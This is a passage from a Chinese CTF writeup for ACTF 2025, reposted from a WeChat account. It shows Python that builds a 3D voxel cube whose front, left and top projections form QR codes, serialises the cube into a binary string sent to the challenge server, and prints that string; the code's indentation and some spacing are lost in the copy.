error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=1,
border=0,
)
qr.add_data(word)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
return [[img.getpixel((x, y)) == 0for y in range(21)] for x in range(21)]
def create_image(matrix, module_size=10):
size = len(matrix) * module_size
img = Image.new("1", (size, size), 1)
pixels = img.load()
for x in range(len(matrix)):
for y in range(len(matrix[0])):
if matrix[x][y]:
for dx in range(module_size):
for dy in range(module_size):
px = x * module_size + dx
py = y * module_size + dy
if px < size and py < size:
pixels[px, py] = 0
return img
# 生成三个投影矩阵
front = generate_qr_matrix("Azure")
left = generate_qr_matrix("Assassin")
top = generate_qr_matrix("Alliance")
cube = [[[False]*21for _ in range(21)] for __ in range(21)]
covered_front, covered_left, covered_top = set(), set(), set()
# 第一阶段:高效覆盖三维交叉点
for x in range(21):
for y in range(21):
if front[x][y] and (x,y) notin covered_front:
for z in range(21):
if left[y][z] and top[x][z]:
if (y,z) notin covered_left or (x,z) notin covered_top:
cube[x][y][z] = True
covered_front.add((x,y))
covered_left.add((y,z))
covered_top.add((x,z))
break
# 修正后的第二阶段处理函数
def find_optimal(target, proj_type):
for i in range(21):
for j in range(21):
ifnot target[i][j]:
continue
# 根据投影类型检查是否已覆盖
is_covered = {
'front': lambda i,j: (i,j) in covered_front,
'left': lambda i,j: (i,j) in covered_left,
'top': lambda i,j: (i,j) in covered_top
}[proj_type](i,j)
if is_covered:
continue
best = None
max_score = -1
# 遍历可能的第三个维度
for k in range(21):
# 根据投影类型确定坐标映射
assert proj_type in ['front', 'left', 'top'], "Invalid projection type"
if proj_type == 'front':
x, y = i, j
z = k
if proj_type == 'left':
y, z = i, j
x = k
elif proj_type == 'top':
x, z = i, j
y = k
ifnot (0 <= x < 21and0 <= y < 21and0 <= z < 21):
continue
score = sum([
front[x][y],
left[y][z],
top[x][z]
])
if score > max_score:
best = (x,y,z)
max_score = score
if best:
x,y,z = best
cube[x][y][z] = True
covered_front.add((x,y))
covered_left.add((y,z))
covered_top.add((x,z))
# 按优先级处理剩余投影
find_optimal(front, 'front')
find_optimal(left, 'left')
find_optimal(top, 'top')
with open("testfront.png", "wb") as f:
create_image(front).save(f)
# 生成最终二进制字符串
input_data = ''.join(
'1'if cube[x][y][z] else'0'
for z in range(21)
for y in range(21)
for x in range(21)
)
print(f"生成的二进制字符串: {input_data}")
print(f"总点数: {input_data.count('1')} (小于390: {input_data.count('1') < 390})")
p.sendline(input_data)
print(p.recvline())
构造出来的字符如下:
111111100100101111111100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000100000000000000000000001000000000000000000000001000000000000000000000000000000000000100000000000000000000100000000000000000000100000000000001000001100000000000000000001100000000000000000000100000000000000000000100001000000001000000100000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000001000001000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000100000000000000000000000000000000000000000001110100000001011101001000000100000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000001000000000000000000001000000000000000000000000000000000000000001000000000000000000101000000000000000000000000000000000000000000000001000000000000000110100001001011101000100000000000000000000000000000000000000000100000000000000000000000000000000000000100000000000000000001000010000000000000000000100000000000000000000000000000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000001100000010000000000000000000000000000000100000000000000000000000000000010000000000000010100000101011101000000000000000000000000010000000000000000000000000010000000000000010000001000000000000000000000000000000000010000000000000000000000000000000010000000000100000000000000000000000000000000000000010000000000000000000000000000000000000000010000000000000000000010000000000000000000010000000000000000000000000000000000000000010000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010100000000000000000000000000000000000000000000000000000000000000000000000000000100000001000000000000000000000000000000000000100000000001000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000101110000000000000000000000101010101000001100000000000000000000000000001000000000000100000000000000000000000000100000000000000010001000000000111110000000000000000000000010000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000010000000000000000000000000000000010000000000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100000000000000000011000000000001000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111110100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100000000000100000000000000000000000000000100100000000000000000000000000000000000010000000100000000000000000000000000000000000000000000000000000000000010001010000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000010010000010000000000000000000000000000000001000000000000000000001000000000000000000001000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000001010100000000000000000000000000000000000000000000000000000000001000000000000000000000001000110001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000110000000000001000000000000000000000000000000000000000000000000000000000000100000000000000001100000000000000000000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000000001000000000000000100000000000110000000000000000000000000000000000000000100000000010000010000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000100110000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001000100000001000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000000000000000000100000000000000000001000000000000000000010000000000000000000000000110000100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000010010000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000100000000000000000000000000000001000100000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000111000000000001000010000000000000000000001000000000000000000001000000000000000000100000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000110110101000000000100100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000001000000100000000000000000000000000000000000000000100000000000000000000001000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000010000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000001000000000000000000000000000100000000001000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000100000000000000000000000000000000000000000100000000000000000100000000000000000000000000000000100000000000000000000000000000000000100000000000000000000000000000100000000000000000000000000000000001000000000000000000000000000000000000100010000000100110001000000010000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010100000001101110001100100000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000100000000000000000000000000000010000110000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100110101001000000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010010000000000000000000000000000000000000000000001000000000000000000000000000000000000000000100100000000000000000000100000000000000000000100000101110000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000111111101011000100000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000010000010000000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000
原文始发于微信公众号(Nepnep网络安全):ACTF 2025 Writeup by Nepnep
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论